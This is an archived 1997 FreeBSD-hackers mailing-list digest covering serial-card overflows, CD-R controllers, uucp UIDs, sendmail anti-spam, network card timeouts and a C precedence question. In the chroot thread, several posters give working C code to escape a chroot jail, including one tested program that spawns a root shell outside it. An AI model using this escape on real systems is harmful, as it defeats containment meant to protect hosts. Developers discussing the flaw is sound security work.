hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA10178; Thu, 29 May 1997 14:20:46 -0700 (PDT) Received: (from luiz@localhost) by mirage.nlink.com.br (8.8.5/8.8.5) id SAA04071; Thu, 29 May 1997 18:17:13 -0300 (EST) Date: Thu, 29 May 1997 18:17:12 -0300 (EST) From: Luiz de Barros To: Bruce Evans cc: hackers@FreeBSD.ORG, paulo@nlink.com.br, isp@FreeBSD.ORG Subject: Re: Cyclades PCI Strange Behavior In-Reply-To: <199705291814.EAA24203@godzilla.zeta.org.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi All, The setup below is working 100% OK with no Silo Overflows with an Old Cyclades Cyclom ISA HOST ADAPTER controlling 32 ports (Same Serial Modules, computer, MB, modems, cables, etc ). Do cyclades Guys and FreeBSD Team have plans of fixing this problem soon? I think many people have had this problem... Luiz de Barros Nlink ISP. On Fri, 30 May 1997, Bruce Evans wrote: > >a Pentium 133 with Intel i430vx Motherboard > >32MB RAM. > >1.2GB IDE HardDrive > >a Trident PCI Video Card > >A cyclades PCI Cy32 card mapped to high memory > >32 dial-in modems > > >We are getting a lot of silo overflows that get more frequently when we > >start using the computer ( very frequent when we compile the kernel ). > >If we start an upload to the computer, we have very much silo overflows > >than in a download. > > Silo overflows are probably normal for the PCI version of the driver. > It uses a normal low-priority interrupt handler which can be delayed > for several msec by other interrupt handlers. At 115200 bps, there is > about 1 silo overflow for ever msec of delay. Delays of 3-5 msec are > normal for updating the keyboard LEDs. Delays of 0.1-1 msec are normal > for IDE drives and PIO ethernet cards. Delays accumulate. > > >After about 1 day with the system running it JUST RESETS without any > >message in the screen if we SWITCH ONE OF THE MODEMS OFF AND ON AGAIN ( > >Just after we turn if on ). > > This is probably unrelated. There is a software bug that causes the > timeout table to fill up under certain overloads, but this normally > causes panics with a message. > > Bruce > From owner-freebsd-hackers Thu May 29 14:34:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA10781 for hackers-outgoing; Thu, 29 May 1997 14:34:25 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id OAA10774 for ; Thu, 29 May 1997 14:34:22 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id XAA17683 for hackers@FreeBSD.ORG; Thu, 29 May 1997 23:33:55 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id WAA05217; Thu, 29 May 1997 22:29:30 +0200 (MET DST) Message-ID: <19970529222929.LI27219@uriah.heep.sax.de> Date: Thu, 29 May 1997 22:29:29 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: HP 6020 Problems References: <199705291802.UAA09115@zibbi.mikom.csir.co.za> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Dan Riley on May 29, 1997 14:09:29 -0500 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Dan Riley wrote: > Has anyone had any luck with their HP or Philips cd-writer on a Adaptec > 2940UW? If not what is the preferred controller for this application? The controller is fairly irrelevant (well, as long as it's a good one, not just a PIO hookup monster like the old Seagate ST-01 :). CD-R drives don't require a very fast SCSI bus, they usually only write with so-called double speed. That translates to 305 KB/s for CD-ROM data, or 350 KB/s for raw (like CD-DA) data. That's far below any disk's rate today. I'm pretty sure i could successfully use my aged AHA-1540A for the CD-R drive as well. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Thu May 29 14:38:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA11050 for hackers-outgoing; Thu, 29 May 1997 14:38:30 -0700 (PDT) Received: from seagull.rtd.com (seagull.rtd.com [198.102.68.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA11044 for ; Thu, 29 May 1997 14:38:27 -0700 (PDT) Received: (from dgy@localhost) by seagull.rtd.com (8.7.5/8.7.3) id OAA08658; Thu, 29 May 1997 14:38:20 -0700 (MST) From: Don Yuniskis Message-Id: <199705292138.OAA08658@seagull.rtd.com> Subject: Re: uucp uid's To: joerg_wunsch@uriah.heep.sax.de Date: Thu, 29 May 1997 14:38:20 -0700 (MST) Cc: hackers@FreeBSD.ORG In-Reply-To: <19970529221908.FX28346@uriah.heep.sax.de> from "J Wunsch" at May 29, 97 10:19:08 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk It seems that J Wunsch said: > > > I'm one. Why do the uid's need to be the same? There isn't a permissions > > problem because: > > > > davidn[~]> l /usr/libexec/uucp/uucico > > -r-sr-sr-x 1 uucp dialer 212992 May 12 20:16 /usr/libexec/uucp/uucico* > > ^ ^ > > But group dialer is only there so it can get ahold of the modems. > > I don't think there's a burning need why all the uucpers should have > the same UID, but i figure it doesn't hurt either. It's nicer if they have different uid's -- lets you be a bit more restrictive of the types of access you grant to each. Also lets you see who's doing what... --don From owner-freebsd-hackers Thu May 29 14:45:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA11476 for hackers-outgoing; Thu, 29 May 1997 14:45:34 -0700 (PDT) Received: from ice.cold.org (cold.org [206.81.134.103]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA11467 for ; Thu, 29 May 1997 14:45:30 -0700 (PDT) Received: from localhost (brandon@localhost) by ice.cold.org (8.8.5/8.8.5) with SMTP id PAA12482 for ; Thu, 29 May 1997 15:45:35 -0600 (MDT) Date: Thu, 29 May 1997 15:45:35 -0600 (MDT) From: Brandon Gillespie To: freebsd-hackers@freeBSD.org Subject: spam and sendmail hacks Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freeBSD.org X-Loop: FreeBSD.org Precedence: bulk Go to: http://www.informatik.uni-kiel.de/~ca/email/check.html There is some full documentation on anti-spam sendmail hacks, providing both flat-file and mapped file rule sets for you to use, and '.mc' file hacks? It also has pointers back to Sendmail.org's site. Be it Adrian's or others, I think some sort of spam and relay protection should be in the default configuration of sendmail.. Also.. imho we should use the mapped file dbs, and include virtual hosting support as well. And with all of the maps, we should wrap hooks into a mailconfig program or something, that is simply text based and drops you into a menu where you can select what you want to edit, and when you finish editing it will rehash the maps. I can do the latter if somebody more knowledgable in its black-magic ways can do the sendmail/m4 stuff. -Brandon Gillespie From owner-freebsd-hackers Thu May 29 15:40:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA13814 for hackers-outgoing; Thu, 29 May 1997 15:40:29 -0700 (PDT) Received: from cais.cais.com (root@cais.com [199.0.216.4]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA13809 for ; Thu, 29 May 1997 15:40:26 -0700 (PDT) Received: from earth.mat.net (chuckr@earth.mat.net [205.252.122.1]) by cais.cais.com (8.8.5/8.7.3) with SMTP id SAA11505; Thu, 29 May 1997 18:40:23 -0400 (EDT) Received: from localhost (chuckr@localhost) by earth.mat.net (8.6.12/8.6.12) with SMTP id SAA04227; Thu, 29 May 1997 18:40:23 -0400 Date: Thu, 29 May 1997 18:40:22 -0400 (EDT) From: Chuck Robey To: "Jordan K. Hubbard" cc: Eivind Eklund , hackers@FreeBSD.ORG Subject: Re: FreeBSD CVS Tree In-Reply-To: <13551.864781186@time.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 27 May 1997, Jordan K. Hubbard wrote: > > > The distfiles for the ports collection eat all of that space on the > > > 2nd CD of the "mainline" CD releases, so I can't put a CVS there (as > > > much as I'd like to). > > > > How about a compressed CVS tree, then? (Working until the next 50 > > ports are added, perhaps...) > > I'm already removing distfiles to make them fit - I'm afraid that > it's not going to happen until I manage to convince WC to go to > a 4 CD set. FWIW, I wish WC would split off the ports and distfiles together into their own separate CD set, sold separately. From owner-freebsd-hackers Thu May 29 16:04:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA14728 for hackers-outgoing; Thu, 29 May 1997 16:04:35 -0700 (PDT) Received: from panda.hilink.com.au (panda.hilink.com.au [203.8.15.25]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA14717 for ; Thu, 29 May 1997 16:04:28 -0700 (PDT) Received: (from danny@localhost) by panda.hilink.com.au (8.8.5/8.8.5) id JAA11760; Fri, 30 May 1997 09:03:54 +1000 (EST) Date: Fri, 30 May 1997 09:03:53 +1000 (EST) From: "Daniel O'Callaghan" To: Bob Bishop cc: hackers@FreeBSD.ORG Subject: Re: Correct way to chroot for shell account users? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 29 May 1997, Bob Bishop wrote: > I'm sure I'm being desperately naive here, but isn't it sufficient for > safety to make chroot(2) a successful no-op unless / is really / (ie the > process isn't chrooted already)? That means that you can't run anon ftp properly in a chrooted file system, because ftpd is not allowed to chroot again. /* Daniel O'Callaghan */ /* HiLink Internet danny@hilink.com.au */ /* FreeBSD - works hard, plays hard... danny@freebsd.org */ From owner-freebsd-hackers Thu May 29 17:14:00 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA17247 for hackers-outgoing; Thu, 29 May 1997 17:14:00 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA17242 for ; Thu, 29 May 1997 17:13:57 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id RAA01679; Thu, 29 May 1997 17:09:48 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd001676; Fri May 30 00:09:42 1997 Message-ID: <338E1A9C.41C67EA6@whistle.com> Date: Thu, 29 May 1997 17:09:00 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: pvl@nanoteq.com CC: FreeBSD-hackers Subject: Re: ed0 : device timeout References: <199705291506.RAA01207@oskar.nanoteq.co.za> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Pierre Van Leeuwen wrote: > > Hi > > I wrote to questions about this earlier, but that didn't solve my > problem. > > I get the following message : > ed0 : device timeout > > It doesn't seem to be fatal all the time though. > > Looking at if_ed.c I see it is because the device doesn't > generate an interrupt after a transmit was started. > I commented the line out that checks for the interrupt, > and had the function return without doing anything. Didn't > do any good as expected. > > It's a D-Link De-220 card which I have exchanged about three > times, as well as putting a new motherboard in. The > only thing I haven't changed is the cpu (Pentium 133). > I've been running FreeBSD on it since 2.1.5 and I have > 2.2-Stable on it at the moment (CVSupped about a week ago -- > I tried to CVSup today, but today the ed0 error is fatal :) ) use the correct interrupt? the ethernet will still work slowely with the wrong interrupt except for the messages.. From owner-freebsd-hackers Thu May 29 17:24:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA17711 for hackers-outgoing; Thu, 29 May 1997 17:24:34 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA17699 for ; Thu, 29 May 1997 17:24:23 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id RAA01859; Thu, 29 May 1997 17:16:37 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd001857; Fri May 30 00:16:37 1997 Message-ID: <338E1C3B.2781E494@whistle.com> Date: Thu, 29 May 1997 17:15:55 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: Warner Losh CC: Terry Lambert , dec@phoenix.its.rpi.edu, peter@grendel.IAEhv.nl, mrcpu@cdsnet.net, hackers@FreeBSD.ORG Subject: Re: Correct way to chroot for shell account users? References: <199705291456.HAA03526@phaeton.artisoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Michael Smith posted the program to climb out of the jail here a few > months ago. This isn't theoretical, but it works. It was something > along the lines of the following. You can find it in the archives. > > int main() > { > int fd; > > > fd = open("/"); > /xxx"); > fchdir(fd); > chdir(".."); > chdir(".."); > chdir(".."); > chdir(".."); > chdir(".."); > chdir(".."); > chdirint main()(".."); > chdir(".."); > chdir(".."); > chdir(".."); > chdir(".."); > chdir(".."); > chdir(".."); > } this is overly complicated... how about: int main(){ mkdir( "xxx"); chroot("xxx"); chdir(".."); chdir(".."); etc.. chroot("."); } From owner-freebsd-hackers Thu May 29 17:39:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA18467 for hackers-outgoing; Thu, 29 May 1997 17:39:23 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id RAA18461 for ; Thu, 29 May 1997 17:39:13 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id RAA05616; Thu, 29 May 1997 17:36:05 -0700 From: Terry Lambert Message-Id: <199705300036.RAA05616@phaeton.artisoft.com> Subject: Re: Correct way to chroot for shell account users? To: julian@whistle.com (Julian Elischer) Date: Thu, 29 May 1997 17:36:05 -0700 (MST) Cc: imp@village.org, terry@lambert.org, dec@phoenix.its.rpi.edu, peter@grendel.IAEhv.nl, mrcpu@cdsnet.net, hackers@FreeBSD.ORG In-Reply-To: <338E1C3B.2781E494@whistle.com> from "Julian Elischer" at May 29, 97 05:15:55 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk It won't work for arbitrary depth without modification... main() { dev_t d_last; ino_t i_last; struct stat sb; mkdir( "xxx"); chroot("xxx"); chdir(".."); stat( ".", &sb); do { d_last = sb.st_dev; i_last = sb.st_ino; if (chdir("..")) break; stat( ".", &sb); } while( sb.st_dev != d_last || sb.st_ino != i_last); chroot("."); } Now *there's* a reliable hack... 8-). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu May 29 17:39:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA18498 for hackers-outgoing; Thu, 29 May 1997 17:39:33 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id RAA18489 for ; Thu, 29 May 1997 17:39:31 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id RAA05637; Thu, 29 May 1997 17:38:18 -0700 From: Terry Lambert Message-Id: <199705300038.RAA05637@phaeton.artisoft.com> Subject: Re: uucp uid's To: joerg_wunsch@uriah.heep.sax.de Date: Thu, 29 May 1997 17:38:18 -0700 (MST) Cc: hackers@FreeBSD.ORG In-Reply-To: <19970529221908.FX28346@uriah.heep.sax.de> from "J Wunsch" at May 29, 97 10:19:08 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > I'm one. Why do the uid's need to be the same? There isn't a permissions > > problem because: > > > > davidn[~]> l /usr/libexec/uucp/uucico > > -r-sr-sr-x 1 uucp dialer 212992 May 12 20:16 /usr/libexec/uucp/uucico* > > ^ ^ > > But group dialer is only there so it can get ahold of the modems. > > I don't think there's a burning need why all the uucpers should have > the same UID, but i figure it doesn't hurt either. It matters if you are using it as a mail transport, and the mail is being transported to the uucp sppol directory .. owned by uucp. General users are not supposed to run uucico anyway. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu May 29 17:50:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA19077 for hackers-outgoing; Thu, 29 May 1997 17:50:55 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA19070 for ; Thu, 29 May 1997 17:50:50 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id RAA02601; Thu, 29 May 1997 17:41:08 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd002599; Fri May 30 00:41:06 1997 Message-ID: <338E21F7.446B9B3D@whistle.com> Date: Thu, 29 May 1997 17:40:23 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: Warner Losh CC: Terry Lambert , dec@phoenix.its.rpi.edu, peter@grendel.IAEhv.nl, mrcpu@cdsnet.net, hackers@FreeBSD.ORG Subject: Re: Correct way to chroot for shell account users? References: <199705291456.HAA03526@phaeton.artisoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Warner Losh wrote: > In fact here is a program to give you a root shell out of the chroot environ.. I just tested it it works > Michael Smith posted the program to climb out of the jail here a few > months ago. This isn't theoretical, but it works. It was something > along the lines of the following. You can find it in the archives. > > #include main(int argc, char **argv) { mkdir("foo"); chroot("foo"); chdir(".."); chdir(".."); chdir(".."); chdir(".."); chdir(".."); chdir(".."); chdir(".."); chdir(".."); chdir(".."); chdir(".."); chdir(".."); chdir(".."); chdir(".."); chdir(".."); chdir(".."); chroot("."); execl("/bin/sh", "sh", NULL); } built1% cd / built1% df . Filesystem 1K-blocks Used Avail Capacity Mounted on /dev/sd0a 38991 24797 11075 69% / built1% sudo chroot /work/julian/2.2R2 # df . Filesystem 1K-blocks Used Avail Capacity Mounted on /dev/sd1s1f 2033631 1741315 129626 93% /work # cd /tmp # cat >xx.c [type in file above] # make xx cc -O xx.c -o xx # exec ./xx # df . Filesystem 1K-blocks Used Avail Capacity Mounted on /dev/sd0a 38991 24797 11075 69% / # exit built1% From owner-freebsd-hackers Thu May 29 18:21:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA20560 for hackers-outgoing; Thu, 29 May 1997 18:21:48 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA20551 for ; Thu, 29 May 1997 18:21:44 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id KAA22785; Fri, 30 May 1997 10:51:08 +0930 (CST) From: Michael Smith Message-Id: <199705300121.KAA22785@genesis.atrad.adelaide.edu.au> Subject: Re: rstartd on freefall In-Reply-To: <199705291406.PAA03949@utell.co.uk> from Brian Somers at "May 29, 97 03:06:38 pm" To: brian@utell.co.uk (Brian Somers) Date: Fri, 30 May 1997 10:51:08 +0930 (CST) Cc: jkh@time.cdrom.com, brian@awfulhak.org, freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Brian Somers stands accused of saying: > > How do other people exec remote X programs ? Doing a "rsh ....." > doesn't send your DISPLAY over, so you end up with some nasty lines > like: > > rsh freefall xterm -display $HOSTDISPLAY -T freefall -n freefall -e bash > --login Use ssh for anything remote, or xon for local stuff. Note that your command above is _much_ less efficient than xterm -sb -sl 2000 -title freefall -e ssh freefall ... which will still let you run X programs on freefall, but runs the xterm itself locally. I cannot imagine running an xterm on freefall, with the 2-4s RTT I have here 8) > Brian -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Thu May 29 18:26:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA20999 for hackers-outgoing; Thu, 29 May 1997 18:26:14 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA20987 for ; Thu, 29 May 1997 18:26:07 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id KAA22812; Fri, 30 May 1997 10:54:29 +0930 (CST) From: Michael Smith Message-Id: <199705300124.KAA22812@genesis.atrad.adelaide.edu.au> Subject: Re: ed0 : device timeout In-Reply-To: <199705291506.RAA01207@oskar.nanoteq.co.za> from Pierre Van Leeuwen at "May 29, 97 05:06:46 pm" To: pvl@nanoteq.com Date: Fri, 30 May 1997 10:54:29 +0930 (CST) Cc: freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Pierre Van Leeuwen stands accused of saying: > Hi > > I wrote to questions about this earlier, but that didn't solve my > problem. > > I get the following message : > ed0 : device timeout The ususal reasons for this are : - you have an IRQ mismatch, in that the card is set to one value, and the driver another. - you have a cabling/termination problem on your network. - your card is faulty. > It doesn't seem to be fatal all the time though. Sounds like cabling - a bad RJ/BNC connector, T-piece, terminator or hub port. > Pierre_Andre van Leeuwen -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Thu May 29 19:40:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA24082 for hackers-outgoing; Thu, 29 May 1997 19:40:42 -0700 (PDT) Received: from iceberg.anchorage.net. (root@iceberg.anchorage.net [207.14.72.150]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id TAA24075 for ; Thu, 29 May 1997 19:40:36 -0700 (PDT) Received: from aak.anchorage.net (ai-136 [207.14.72.136]) by iceberg.anchorage.net. (8.6.11/8.7.3) with SMTP id RAA22500 for ; Thu, 29 May 1997 17:38:10 -0800 Date: Thu, 29 May 1997 18:10:28 -0800 (AKDT) From: Steve Howe X-Sender: abc@aak.anchorage.net To: freebsd-hackers Subject: cc/gcc Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk with cc/gcc, i get outputs of "1" and "0" respectively. why? is this construct ABSOLUTELY incorrect, or is something else amuck? /*****************************************************************************/ #include "stdio.h" /*****************************************************************************/ void main (unsigned char argc, unsigned char **argv) { unsigned char a, b, c; a = 1; b = 1; c = 0; c = a == b == 1 ? 1 : 0 ; printf(" %i\n", c); a='1'; b='1'; c = 0; c = a == b == '1' ? '1' : '0'; printf(" %c\n", c); exit( 0 );} /*****************************************************************************/ From owner-freebsd-hackers Thu May 29 20:11:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA25075 for hackers-outgoing; Thu, 29 May 1997 20:11:15 -0700 (PDT) Received: from phobos.illtel.denver.co.us (abelits@phobos.illtel.denver.co.us [207.33.75.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA25068 for ; Thu, 29 May 1997 20:11:12 -0700 (PDT) Received: from localhost (abelits@localhost) by phobos.illtel.denver.co.us (8.8.5/8.6.9) with SMTP id UAA03918; Thu, 29 May 1997 20:14:08 -0700 Date: Thu, 29 May 1997 20:14:06 -0700 (PDT) From: Alex Belits Reply-To: Alex Belits To: Steve Howe cc: freebsd-hackers Subject: Re: cc/gcc In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 29 May 1997, Steve Howe wrote: with cc/gcc, i get outputs of "1" and "0" respectively. why? > unsigned char a, b, c; > > a = 1; b = 1; c = 0; > c = a == b == 1 ? 1 : 0 ; printf(" %i\n", c); 1 == 1 == 1 1 == 1 1 > a='1'; b='1'; c = 0; > c = a == b == '1' ? '1' : '0'; printf(" %c\n", c); '1'=='1'=='1' 1 == '1' 0 -- Alex From owner-freebsd-hackers Thu May 29 20:13:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA25175 for hackers-outgoing; Thu, 29 May 1997 20:13:02 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA25170 for ; Thu, 29 May 1997 20:12:59 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id MAA23760; Fri, 30 May 1997 12:42:31 +0930 (CST) From: Michael Smith Message-Id: <199705300312.MAA23760@genesis.atrad.adelaide.edu.au> Subject: Re: cc/gcc In-Reply-To: from Steve Howe at "May 29, 97 06:10:28 pm" To: un_x@anchorage.net (Steve Howe) Date: Fri, 30 May 1997 12:42:30 +0930 (CST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Steve Howe stands accused of saying: > > with cc/gcc, i get outputs of "1" and "0" respectively. why? > is this construct ABSOLUTELY incorrect, or is something else amuck? Well, apart from the fact that not using parentheses places you at the mercy of precedence that you may not appreciate (see /usr/share/misc/operator), let's have a look : > /*****************************************************************************/ > #include "stdio.h" > /*****************************************************************************/ > void main (unsigned char argc, unsigned char **argv) { > > unsigned char a, b, c; > > a = 1; b = 1; c = 0; > c = a == b == 1 ? 1 : 0 ; printf(" %i\n", c); No need to initialise c. == groups left-to-right, has highest precedence. a == b -> true true == 1 -> true true ? 1 : 0 -> 1 c = 1 > a='1'; b='1'; c = 0; > c = a == b == '1' ? '1' : '0'; printf(" %c\n", c); Likewise no need to initialise c. a == b -> true true == '1' -> false *** false ? '1' : '0' -> '0' c = '0' It is generally unwise to try to cast a boolean (truth) value to a scalar in any context. -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Thu May 29 21:24:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA27939 for hackers-outgoing; Thu, 29 May 1997 21:24:59 -0700 (PDT) Received: from argus.nuke.net (pm3-p18.tfs.net [206.154.183.210]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA27934 for ; Thu, 29 May 1997 21:24:56 -0700 (PDT) Received: (from jbryant@localhost) by argus.nuke.net (8.8.5/8.8.5) id XAA01480 for freebsd-hackers@freebsd.org; Thu, 29 May 1997 23:24:52 -0500 (CDT) From: Jim Bryant Message-Id: <199705300424.XAA01480@argus.nuke.net> Subject: ahc0 To: freebsd-hackers@freebsd.org Date: Thu, 29 May 1997 23:24:16 -0500 (CDT) Reply-To: jbryant@tfs.net X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk just another observation... iozone shows drastic reductions in throughput on a SCSI-2 2G barracuda... i was getting approximately 5.5-6.5 M/S on both read and write under 2.1-R... now i get approximately 2.5 M/S write and 4.5-5.5 M/S read... options AHC_TAGENABLE # experimental is the 2.1-R config and gives the above results... options AHC_ALLOW_MEMIO seems to give no improvement... currently running 2.2.2-R jim -- All opinions 